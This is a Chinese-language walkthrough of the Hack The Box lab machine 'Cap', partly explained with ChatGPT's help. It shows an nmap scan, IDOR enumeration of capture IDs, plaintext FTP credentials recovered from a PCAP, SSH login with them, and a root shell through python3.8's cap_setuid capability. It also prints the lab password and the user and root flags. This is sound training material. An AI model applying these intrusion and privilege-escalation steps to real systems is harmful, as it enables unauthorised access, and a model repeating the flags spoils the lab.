Cap是官方推薦的入門機,很多不懂的地方會由ChatGPT補充
https://app.hackthebox.com/machines/Cap
機器簡介:
Cap 是一台難度為「簡單」的 Linux 機器,運行一個 HTTP 服務器,該服務器執行包括網絡捕獲在內的管理功能。不當的控制導致不安全的直接對象引用(IDOR),使得用戶可以訪問到其他用戶的捕獲數據。捕獲數據中包含明文憑證,可用於獲得進入點。接著利用 Linux 的某項功能來提升權限到 root。
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 09:04 EDT
Nmap scan report for 10.10.10.245
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
```
→更改id會不會出現其他使用者的資訊
`http://10.10.10.245/data/0`
**ffuf** 和 **wfuzz** 是兩種用於進行 URL fuzzing 的工具,它們可以幫助你自動化測試不同的 URL 組合,從而發現可能存在的隱藏資源、參數或漏洞。在這個上下文中,這些工具可以幫助你枚舉或測試不同的 `id` 參數,以查看是否能夠訪問其他用戶的掃描結果。
### URL Fuzzing 的基本概念:
URL Fuzzing 是一種測試技術,用來枚舉和探測 Web 應用程式的不同路徑或參數,看看它們是否可以訪問或者是否存在隱藏資源。
ffuf
: `ffuf` 是一個非常快速的 URL fuzzing 工具,使用它可以很方便地進行參數枚舉。
假設你想要測試 `id` 參數的不同值,可以這樣使用 `ffuf`:
```bash
ffuf -u <http://10.10.10.245/data/FUZZ> -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
```
在這個命令中:
- `u <http://10.10.10.245/data/FUZZ`:`FUZZ` 是一個佔位符,`ffuf` 將替換它為字典中的每個詞條。
- `w /path/to/wordlist`:這是你用於枚舉的字典路徑。你可以使用包含數字的自訂字典,或者手動創建一個包含常見 `id` 的字典。
wfuzz
: `wfuzz` 是另一個強大的工具,功能和 `ffuf` 類似,但提供了更多的靈活性和功能選項。
使用 `wfuzz` 進行 `id` 參數 fuzzing:
```bash
wfuzz -u <http://10.10.10.245/data/FUZZ> -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
```
在這個命令中:
- `u <http://10.10.10.245/data/FUZZ`:和 `ffuf` 一樣,`FUZZ` 是一個佔位符。
- `w /path/to/wordlist`:指定用於枚舉的字典路徑。
1. **選擇一個字典**:你可以使用現成的字典,也可以自己創建一個簡單的字典,比如包含 `0-10` 的數字,用於測試不同的 `id`。
- 例如,創建一個簡單的字典 `ids.txt`:
```
0
1
2
3
...
```
2. **運行 fuzzing 工具**:使用 `ffuf` 或 `wfuzz` 對目標 URL 進行 fuzzing,看是否可以找到有效的 `id` 參數。
- 運行後,工具將嘗試訪問這些 `id`,並列出成功返回的 URL。
3. **分析結果**:如果工具返回了多個有效的 URL,說明這些 `id` 參數對應了不同的掃描結果,這樣你可以確認是否能夠訪問其他用戶的掃描。
- 如果通過 fuzzing 工具發現了多個有效的 `id`,並且它們對應不同的掃描結果,那麼你可以回答「是的,你可以訪問其他用戶的掃描」。
PCAP 是 Packet Capture 的縮寫,是一種用於捕獲和存儲網絡數據包的文件格式。PCAP 文件記錄了通過網絡傳輸的數據包的詳細信息,通常用於網絡分析、故障排除和安全審查。
### PCAP 的主要特點:
1.捕獲網絡流量:
- PCAP 文件包含了從網絡介面捕獲的所有數據包,記錄了這些數據包的完整內容,包括包頭和包體。
2.常用工具:
- `Wireshark`是最常用的用於查看和分析 PCAP 文件的工具。它提供了強大的過濾和分析功能,可以幫助用戶深入了解網絡流量。
- 其他工具如 `tcpdump` 也可以用於捕獲和生成 PCAP 文件。
3.文件內容:
- PCAP 文件記錄了網絡通信的時間戳、源 IP 地址、目標 IP 地址、協議類型、數據長度以及數據內容等詳細信息。
4.應用場景:
- 網絡分析:用於分析網絡流量,診斷網絡性能問題或故障。
- 安全審查:在安全研究中,用於檢查是否有可疑的流量、分析攻擊行為或尋找敏感信息。
- 故障排除:在 IT 支持和網絡管理中,用於追蹤和解決網絡通信問題。
假設你使用 Wireshark 打開一個 PCAP 文件,你可以查看其中包含的所有網絡數據包,應用過濾器(如 `http`、`ftp` 等)來篩選感興趣的流量,甚至可以重新構建會話來查看用戶在網絡上的操作。
PCAP 是網絡流量捕獲的標準文件格式,廣泛應用於網絡分析和安全審查中。通過分析 PCAP 文件,網絡工程師和安全專家可以深入了解網絡通信的細節,找到問題的根源或識別潛在的安全威脅。
將`/data/1`跟`/data/0`的PCAP下載後用wireshark打開(預設就是wireshark)
`/data/0` 的ftp裡可以看到使用者的名稱與密碼
敏感數據在FTP發現
由nmap得知ssh是開的
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.245
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 09:04 EDT
Nmap scan report for 10.10.10.245
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
```
嘗試用得到的帳號(`nathan`)密碼(`Buck3tH4TF0RM3!`)連接ssh
```bash
┌──(kali㉿kali)-[~]
└─$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
```
連線成功
(題目說在home directory但我是在`/home/nathan/`找到的)
```bash
nathan@cap:/home$ cd nathan/
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
60584a97045942c7a72a9e0832c375a7
```
使用 getcap
列出所有具有特殊權限的二進制檔案:getcap
是一個用於列出具有特定能力(Capabilities)的二進制檔案的工具。使用以下命令列出所有具有特殊權限的二進制檔案:
getcap -r / 2>/dev/null
這個命令會遞歸掃描系統的所有目錄,並列出那些被授予特殊能力的二進制檔案。
識別具有可濫用的特殊權限的二進制檔案:
觀察 getcap
輸出的結果,尋找具有 cap_setuid
或 cap_net_bind_service
等特定能力的二進制檔案,這些能力可能允許進程以 root 身份執行操作。
要選擇合適的二進制檔案進行提權,你需要重點關注具有可能被濫用來獲得更高權限的能力(Capabilities)的二進制檔案。以下是如何選擇和確認的步驟:
理解 Capabilities 的作用:
cap_setuid
:允許進程更改其用戶 ID。可以用來切換到 root 用戶(UID 0),這是非常有用的提權方式。cap_net_bind_service
:允許進程綁定到 1024 以下的低端口,這通常只有 root 用戶可以做。cap_net_raw
:允許使用原始套接字發送和接收數據包,通常用於網絡調試工具,但不直接有助於提權。cap_net_admin
:允許進行各種網絡管理操作,比如配置網絡接口、修改路由表等。評估每個二進制檔案:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
這個二進制檔案最有可能被用來提權。cap_setuid
可以讓進程將自己的 UID 切換為 root,因此這是最有潛力的選擇。
/usr/bin/ping
、/usr/bin/traceroute6.iputils
、/usr/bin/mtr-packet
這些工具有 cap_net_raw
,主要用於網絡調試,不太可能直接用於提權。
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
這個二進制檔案主要與網絡管理相關,也不太可能直接用於提權。
選擇最有可能的二進制檔案:/usr/bin/python3.8
是最有潛力用於提權的二進制檔案,因為它具有 cap_setuid
能力。
嘗試提權:
既然 /usr/bin/python3.8
具有 cap_setuid
能力,你可以嘗試使用它來獲得 root 權限:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
如果成功,你將會獲得一個 root shell。
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
root@cap:/# cd /root
root@cap:/root# ls
root.txt snap
root@cap:/root# cat root.txt
d7c9af0b8800032837fc61889591e806
```